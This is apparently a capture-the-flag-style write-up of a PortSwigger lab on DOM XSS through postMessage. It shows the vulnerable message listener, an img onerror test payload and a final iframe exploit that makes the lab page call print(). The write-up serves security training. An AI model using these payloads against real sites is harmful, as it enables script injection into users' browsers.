Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type DOM XSS via postMessage
Difficulty Practitioner
Objective Send a web message to the target that calls print()

DOM XSS Using Web Messages — Writeup


Reconnaissance

Initial Observation

No login form, no text input anywhere visible. The page just shows [object Object] in what turns out to be an ads div:

Screenshot
<div id="ads">[object Object]</div>

Inspecting the page source reveals this script:

window.addEventListener('message', function(e) {
    document.getElementById('ads').innerHTML = e.data;
})
Screenshot

The page is listening for message events and inserting whatever it receives directly into the innerHTML of the ads div — no filtering, no validation whatsoever. postMessage is a browser API that allows cross-origin communication between windows, for example between a page and an iframe embedded inside it. Here, the receiver trusts everything it gets.

Web — Confirming the Injection Point

Testing in the browser console — sending a plain string with postMessage:

postMessage("Teto")
Screenshot

The [object Object] text changes to "TETO". The message lands in the div. Trying a script tag — doesn't execute via innerHTML. Trying <img onerror>:

<img src=teto.png onerror=alert(0)>
Screenshot

Alert fires. JS execution via a web message confirmed.


Attack Path

Exploit — iframe + postMessage

Loading the target page in an iframe on the exploit server, then using onload to fire postMessage with the XSS payload once the iframe is ready. this.contentWindow.postMessage sends the message to the iframe's window. The "*" as target origin means the message will be accepted regardless of the receiver's origin:

<iframe src="https://0a6900e403f32bae82844cec00240009.web-security-academy.net/" onload='this.contentWindow.postMessage("<img src=teto.png onerror=print(0)>", "*")'></iframe>

Viewing the exploit first to confirm:

Screenshot

print() fires. Delivering to victim:

Screenshot

Lab solved :P

Resources